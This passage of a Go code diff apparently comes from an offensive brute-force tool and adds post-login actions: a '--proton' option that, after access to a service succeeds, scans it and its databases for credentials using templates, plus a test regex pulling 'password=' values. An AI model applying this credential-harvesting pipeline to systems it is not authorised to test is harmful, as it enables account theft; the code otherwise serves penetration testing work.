t.TempDir() + tmpl := `id: e2e-test +info: + name: E2E Test + severity: info +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "password\\s*=\\s*(\\S+)" + group: 1 +` + os.WriteFile(filepath.Join(dir, "test.yaml"), []byte(tmpl), 0644) + return dir +} + +func assertTarget(t *testing.T, target *Target, ip, port, service, user, pass string) { + t.Helper() + if target.IP != ip { + t.Errorf("IP = %q, want %q", target.IP, ip) + } + if target.Port != port { + t.Errorf("Port = %q, want %q", target.Port, port) + } + if target.Service != service { + t.Errorf("Service = %q, want %q", target.Service, service) + } + if target.Username != user { + t.Errorf("Username = %q, want %q", target.Username, user) + } + if target.Password != pass { + t.Errorf("Password = %q, want %q", target.Password, pass) + } +} diff --git a/core/options.go b/core/options.go index 7897088..8b73b44 100644 --- a/core/options.go +++ b/core/options.go @@ -16,6 +16,7 @@ type Option struct { InputOptions `group:"Input Options"` OutputOptions `group:"Output Options"` WordOptions `group:"Word Options"` + ActionOptions `group:"Post-Auth Actions"` MiscOptions `group:"Misc Options"` } @@ -67,6 +68,12 @@ type MiscOptions struct { Version bool `long:"version" description:"Bool, show version"` } +type ActionOptions struct { + Proton bool `long:"proton" description:"post-auth: collect info + run proton credential scan"` + ScanTemplates []string `long:"scan-template" description:"proton template file or directory for --proton"` + DBLimit int `long:"db-limit" default:"1000" description:"max rows per column in DB credential scan"` +} + func (opt *Option) Validate() error { if opt.Mod == "" { opt.Mod = ModBomb @@ -123,9 +130,15 @@ func (opt *Option) Prepare() (*Runner, error) { NoCheckHoneyPot: opt.NoCheckHoneyPot, Strict: opt.Strict, Raw: opt.Raw, + Proton: opt.Proton, + ScanTemplates: opt.ScanTemplates, + DBLimit: opt.DBLimit, } runner := NewRunner(runnerOpt) + if err := runner.BuildPipeline(); err != nil { + return nil, err + } runner.File = file runner.OutFunc = outfunc runner.FileFormat = opt.FileFormat diff --git a/core/runner.go b/core/runner.go index bc72922..d33e065 100644 --- a/core/runner.go +++ b/core/runner.go @@ -12,7 +12,9 @@ import ( "github.com/chainreactors/utils" "github.com/chainreactors/utils/fileutils" "github.com/chainreactors/utils/iutils" + "github.com/chainreactors/zombie/action" "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" "github.com/panjf2000/ants/v2" ) @@ -65,6 +67,9 @@ type Runner struct { outlock *sync.WaitGroup addlock *sync.Mutex + Plugins map[string]plugin.Plugin + Pipeline []pkg.Action + Users *Generator Pwds *Generator Auths *Generator @@ -86,6 +91,7 @@ func NewRunner(opt *RunnerOption) *Runner { } return &Runner{ RunnerOption: opt, + Plugins: plugin.DefaultRegistry(), OutputCh: make(chan *pkg.Result), wg: &sync.WaitGroup{}, outlock: &sync.WaitGroup{}, @@ -96,6 +102,21 @@ func NewRunner(opt *RunnerOption) *Runner { } } +func (r *Runner) BuildPipeline() error { + if !r.Proton { + return nil + } + if len(r.ScanTemplates) == 0 { + return fmt.Errorf("--proton requires --scan-template to specify proton template path") + } + postAction, err := action.NewPostAction(r.ScanTemplates, r.DBLimit) + if err != nil { + return fmt.Errorf("failed to init post action: %w", err) + } + r.Pipeline = append(r.Pipeline, postAction) + return nil +} + func (r *Runner) SetTargets(targets []*Target) { r.Targets = targets } @@ -181,11 +202,9 @@ func (r *Runner) RunWithContext(ctx context.Context) error { }() var res *pkg.Result if task.Mod == parsers.ZombieModUnauth { - res = Unauth(task) - } else if task.Mod == parsers.ZombieModCheck { - res = Brute(task) + res = ExecuteUnauth(task, r.Plugins, r.Pipeline) } else { - res = Brute(task) + res = Execute(task, r.Plugins, r.Pipeline) } select { diff --git a/core/runner_option.go b/core/runner_option.go index 9c45ceb..24d2679 100644 --- a/core/runner_option.go +++ b/core/runner_option.go @@ -15,6 +15,11 @@ type RunnerOption struct { Raw bool Quiet bool + // Post-auth actions + Proton bool + ScanTemplates []string + DBLimit int + // ProxyDial 非 nil 时透传到每个 Task,使插件通过代理建立连接。 ProxyDial pkg.DialFunc } diff --git a/core/worker.go b/core/worker.go index de9c31a..e8fff54 100644 --- a/core/worker.go +++ b/core/worker.go @@ -2,30 +2,66 @@ package core import ( "errors" + "github.com/chainreactors/zombie/pkg" "github.com/chainreactors/zombie/plugin" ) var ErrNoUnauth = errors.New("cannot unauth login") +var ErrNoPlugin = errors.New("no plugin for service") + +func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Action) *pkg.Result { + p := resolvePlugin(task.Service, plugins) + if p == nil { + return pkg.NewResult(task, ErrNoPlugin) + } -func Unauth(task *pkg.Task) *pkg.Result { - conn := plugin.Dispatch(task) - ok, err := conn.Unauth() + session, err := p.Open(task) if err != nil { return pkg.NewResult(task, err) } - if !ok { - return pkg.NewResult(task, ErrNoUnauth) + defer session.Close() + + result := &pkg.Result{Task: task, OK: true} + for _, action := range pipeline { + ar, err := action.Run(session, task) + if err != nil { + continue + } + result.Merge(ar) } - return conn.GetResult() + return result } -func Brute(task *pkg.Task) *pkg.Result { - conn := plugin.Dispatch(task) - err := conn.Login() +func ExecuteUnauth(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Action) *pkg.Result { + p := resolvePlugin(task.Service, plugins) + if p == nil { + return pkg.NewResult(task, ErrNoPlugin) + } + + session, err := p.Unauth(task) if err != nil { return pkg.NewResult(task, err) } - defer conn.Close() - return conn.GetResult() + if session == nil { + return pkg.NewResult(task, ErrNoUnauth) + } + defer session.Close() + + result := &pkg.Result{Task: task, OK: true} + for _, action := range pipeline { + ar, _ := action.Run(session, task) + result.Merge(ar) + } + return result +} + +func resolvePlugin(service string, plugins map[string]plugin.Plugin) plugin.Plugin { + if p, ok := plugins[service]; ok { + return p + } + if p, ok := plugins["neutron"]; ok { + return p + } + return nil } diff --git a/go.mod b/go.mod index 2a33720..ae3b46f 100644 --- a/go.mod +++ b/go.mod @@ -6,10 +6,11 @@ toolchain go1.24.3 require ( github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 - github.com/chainreactors/fingers v1.2.1-0.20260608084741-385e7d586d6f + github.com/chainreactors/fingers v1.2.1 github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908 github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe + github.com/chainreactors/proton v0.3.0 github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2 github.com/chainreactors/words v0.0.0-20260520145736-270600e60fb4 github.com/denisenkom/go-mssqldb v0.9.0 @@ -32,7 +33,7 @@ require ( go.mongodb.org/mongo-driver v1.12.0 golang.org/x/crypto v0.19.0 golang.org/x/net v0.21.0 - sigs.k8s.io/yaml v1.4.0 + sigs.k8s.io/yaml v1.6.0 ) require ( @@ -40,6 +41,9 @@ require ( github.com/Knetic/govaluate v3.0.0+incompatible // indirect github.com/VividCortex/ewma v1.2.0 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect + github.com/charlievieth/fastwalk v1.0.14 // indirect + github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 // indirect + github.com/edsrzf/mmap-go v1.2.0 // indirect github.com/emersion/go-message v0.15.0 // indirect github.com/emersion/go-textwrapper v0.0.0-20200911093747-65d896831594 // indirect github.com/facebookincubator/nvdtools v0.1.5 // indirect @@ -48,23 +52,31 @@ require ( github.com/go-dedup/megophone v0.0.0-20170830025436-f01be21026f5 // indirect github.com/go-dedup/simhash v0.0.0-20170904020510-9ecaca7b509c // indirect github.com/go-dedup/text v0.0.0-20170907015346-8bb1b95e3cb7 // indirect + github.com/gobwas/glob v0.2.3 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/google/uuid v1.3.1 // indirect github.com/gorilla/websocket v1.5.0 // indirect + github.com/h2non/filetype v1.1.3 // indirect github.com/hashicorp/go-version v1.6.0 // indirect github.com/klauspost/compress v1.13.6 // indirect github.com/mattn/go-runewidth v0.0.15 // indirect + github.com/mholt/archiver v3.1.1+incompatible // indirect github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe // indirect github.com/mozillazg/go-pinyin v0.20.0 // indirect + github.com/nwaples/rardecode v1.1.3 // indirect + github.com/pierrec/lz4 v2.6.1+incompatible // indirect github.com/spaolacci/murmur3 v1.1.0 // indirect github.com/tetratelabs/wazero v1.9.0 // indirect github.com/twmb/murmur3 v1.1.8 // indirect + github.com/ulikunitz/xz v0.5.15 // indirect github.com/wasilibs/go-re2 v1.10.0 // indirect github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52 // indirect github.com/xdg-go/pbkdf2 v1.0.0 // indirect github.com/xdg-go/scram v1.1.2 // indirect github.com/xdg-go/stringprep v1.0.4 // indirect + github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d // indirect + go.yaml.in/yaml/v2 v2.4.2 // indirect golang.org/x/sync v0.6.0 // indirect golang.org/x/sys v0.30.0 // indirect golang.org/x/text v0.15.0 // indirect diff --git a/go.sum b/go.sum index 8aa4c2d..971c4ee 100644 --- a/go.sum +++ b/go.sum @@ -85,18 +85,22 @@ github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/chainreactors/fingers v1.2.1-0.20260608084741-385e7d586d6f h1:YRhBdXcJN6Nt6wIrLG06eUUcj/rycBEmQXqyfQvlAV8= -github.com/chainreactors/fingers v1.2.1-0.20260608084741-385e7d586d6f/go.mod h1:HL+9nwb5HNXJMboiQ7Kwy00ZSTXYTAuWw9IrYIoARH8= +github.com/chainreactors/fingers v1.2.1 h1:fIBejnL7m1AMgn/8B/jL/yGUDnm/l2l8iaGIf7GQvrE= +github.com/chainreactors/fingers v1.2.1/go.mod h1:HL+9nwb5HNXJMboiQ7Kwy00ZSTXYTAuWw9IrYIoARH8= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c h1:6Net2Mgo/qo6ADFBZJWWScKuMfZ0rbzLqSCVDuLKFdc= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c/go.mod h1:VrXmYPbNN5AVoo1sc5aeyPVBYqubMdb3KO/tn5rRZpo= github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908 h1:dNJtRF4KtcgFwKjVJDDKUHPCsWJo2OthMlzNxYfp3Uk= github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908/go.mod h1:TqJ3kRBB/PPq6O+e0lY/NPHhpM5beFNPG8OilSlmx+o= github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe h1:n1pFLHHYXMiX5rCVWeciOTJUFggWXOrLtCu9jhq5Mbs= github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe/go.mod h1:ygxMqZQ/hGY2uegUvC0LbR538hbgNH7HP4dTuv/jfSM= +github.com/chainreactors/proton v0.3.0 h1:n6K6ydI4bSpJ0zA5yMahsg5RomyGYGvpW+r9vbjlaeQ= +github.com/chainreactors/proton v0.3.0/go.mod h1:pl3xhn3ADct3tCvFlP6Eh1CiGmbSLq/019OrRWRnv+Q= github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2 h1:ygWUs11z/bg/NsTuH1p37Excj7+IAoRSNGpHBrCsVk8= github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2/go.mod h1:LajXuvESQwP+qCMAvlcoSXppQCjuLlBrnQpu9XQ1HtU= github.com/chainreactors/words v0.0.0-20260520145736-270600e60fb4 h1:lvnDYEkatmZFHP5i321qQXK9L4vKRfso/uUfr5tOeC8= github.com/chainreactors/words v0.0.0-20260520145736-270600e60fb4/go.mod h1:zfz367PUmyaX6oAqV9SktVqyRXKlEh0sel9Wsq9dd2c= +github.com/charlievieth/fastwalk v1.0.14 h1:3Eh5uaFGwHZd8EGwTjJnSpBkfwfsak9h6ICgnWlhAyg= +github.com/charlievieth/fastwalk v1.0.14/go.mod h1:diVcUreiU1aQ4/Wu3NbxxH4/KYdKpLDojrQ1Bb2KgNY= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= @@ -124,8 +128,13 @@ github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8Yc github.com/denisenkom/go-mssqldb v0.9.0 h1:RSohk2RsiZqLZ0zCjtfn3S4Gp4exhpBWHyQ7D0yGjAk= github.com/denisenkom/go-mssqldb v0.9.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= github.com/dgrijalva/jwt-go/v4 v4.0.0-preview1/go.mod h1:+hnT3ywWDTAFrW5aE+u2Sa/wT555ZqwoCS+pk3p6ry4= +github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 h1:2tV76y6Q9BB+NEBasnqvs7e49aEBFI8ejC89PSnWH+4= +github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707/go.mod h1:qssHWj60/X5sZFNxpG4HBPDHVqxNm4DfnCKgrbZOT+s= +github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= github.com/eclipse/paho.mqtt.golang v1.4.3 h1:2kwcUGn8seMUfWndX0hGbvH8r7crgcJguQNCyp70xik= github.com/eclipse/paho.mqtt.golang v1.4.3/go.mod h1:CSYvoAlsMkhYOXh/oKyxa8EcBci6dVkLCbo5tTC1RIE= +github.com/edsrzf/mmap-go v1.2.0 h1:hXLYlkbaPzt1SaQk+anYwKSRNhufIDCchSPkUD6dD84= +github.com/edsrzf/mmap-go v1.2.0/go.mod h1:19H/e8pUPLicwkyNgOykDXkJ9F0MHE+Z52B8EIth78Q= github.com/emersion/go-message v0.15.0 h1:urgKGqt2JAc9NFJcgncQcohHdiYb803YTH9OQwHBHIY= github.com/emersion/go-message v0.15.0/go.mod h1:wQUEfE+38+7EW8p8aZ96ptg6bAb1iwdgej19uXASlE4= github.com/emersion/go-textwrapper v0.0.0-20200911093747-65d896831594 h1:IbFBtwoTQyw0fIM5xv1HF+Y+3ZijDR839WMulgxCcUY= @@ -147,6 +156,8 @@ github.com/facebookincubator/nvdtools v0.1.5/go.mod h1:Kh55SAWnjckS96TBSrXI99KrE github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI= @@ -177,6 +188,8 @@ github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfC github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= +github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= @@ -233,8 +246,8 @@ github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= @@ -267,6 +280,8 @@ github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/ad github.com/gosnmp/gosnmp v1.32.0 h1:gctewmZx5qFI0oHMzRnjETqIZ093d9NgZy9TQr3V0iA= github.com/gosnmp/gosnmp v1.32.0/go.mod h1:EIp+qkEpXoVsyZxXKy0AmXQx0mCHMMcIhXXvNDMpgF0= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/h2non/filetype v1.1.3 h1:FKkx9QbD7HR/zjK1Ia5XiBsq9zdLi5Kf3zGyFTAFkGg= +github.com/h2non/filetype v1.1.3/go.mod h1:319b3zT68BvV+WRj7cwy856M2ehB3HqNOt6sy1HndBY= github.com/hashicorp/consul/api v1.11.0/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M= github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -325,8 +340,10 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.13.6 h1:P76CopJELS0TiO2mebmnzgWaajssP/EszplttgQxcgc= github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= +github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/knadh/go-pop3 v0.3.0 h1:h6wh28lyT/vUBMSiSwDDUXZjHH6zL8CM8WYCPbETM4Y= github.com/knadh/go-pop3 v0.3.0/go.mod h1:a5kUJzrBB6kec+tNJl+3Z64ROgByKBdcyub+mhZMAfI= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -361,6 +378,8 @@ github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27k github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU= +github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= @@ -382,6 +401,8 @@ github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJ github.com/mozillazg/go-pinyin v0.20.0 h1:BtR3DsxpApHfKReaPO1fCqF4pThRwH9uwvXzm+GnMFQ= github.com/mozillazg/go-pinyin v0.20.0/go.mod h1:iR4EnMMRXkfpFVV5FMi4FNB6wGq9NV6uDWbUuPhP4Yc= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/nwaples/rardecode v1.1.3 h1:cWCaZwfM5H7nAD6PyEdcVnczzV8i/JtotnyW/dD9lEc= +github.com/nwaples/rardecode v1.1.3/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= @@ -398,6 +419,8 @@ github.com/panjf2000/ants/v2 v2.4.3/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OI github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM= +github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= @@ -474,6 +497,9 @@ github.com/tetratelabs/wazero v1.9.0/go.mod h1:TSbcXCfFP0L2FGkRPxHphadXPjo1T6W+C github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/twmb/murmur3 v1.1.8 h1:8Yt9taO/WN3l08xErzjeschgZU2QSrwm1kclYq+0aRg= github.com/twmb/murmur3 v1.1.8/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq3OSQ= +github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= +github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY= +github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= github.com/vbauerster/mpb/v8 v8.7.2 h1:SMJtxhNho1MV3OuFgS1DAzhANN1Ejc5Ct+0iSaIkB14= github.com/vbauerster/mpb/v8 v8.7.2/go.mod h1:ZFnrjzspgDHoxYLGvxIruiNk73GNTPG4YHgVNpR10VY= github.com/wasilibs/go-re2 v1.10.0 h1:vQZEBYZOCA9jdBMmrO4+CvqyCj0x4OomXTJ4a5/urQ0= @@ -487,6 +513,8 @@ github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY= github.com/xdg-go/scram v1.1.2/go.mod h1:RT/sEzTbU5y00aCK8UOx6R7YryM0iF1N2MOmC3kKLN4= github.com/xdg-go/stringprep v1.0.4 h1:XLI/Ng3O1Atzq0oBs3TWm+5ZVgkq2aqdlvP9JtoZ6c8= github.com/xdg-go/stringprep v1.0.4/go.mod h1:mPGuuIYwz7CmR2bT9j4GbQqutWS1zV24gijq1dTyGkM= +github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 h1:nIPpBwaJSVYIxUFsDv3M8ofmx9yWTog9BfvIu0q41lo= +github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= github.com/xinsnake/go-http-digest-auth-client v0.6.0 h1:nrYFWDrB2F7VwYlNravXZS0nOtg9axlATH3Jns55/F0= github.com/xinsnake/go-http-digest-auth-client v0.6.0/go.mod h1:QK1t1v7ylyGb363vGWu+6Irh7gyFj+N7+UZzM0L6g8I= github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d h1:splanxYIlg+5LfHAM6xpdFEAYOk8iySO56hMFq6uLyA= @@ -513,6 +541,10 @@ go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqe go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +go.yaml.in/yaml/v2 v2.4.2 h1:DzmwEr2rDGHl7lsFgAHxmNz/1NlQ7xLIrlN2h5d1eGI= +go.yaml.in/yaml/v2 v2.4.2/go.mod h1:081UH+NErpNdqlCXm3TtEran0rJZGxAYx9hb/ELlsPU= +go.yaml.in/yaml/v3 v3.0.3 h1:bXOww4E/J3f66rav3pX3m8w6jDE4knZjGOw8b5Y6iNE= +go.yaml.in/yaml/v3 v3.0.3/go.mod h1:tBHosrYAkRZjRAOREWbDnBXUf08JOwYq++0QNwQiWzI= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod 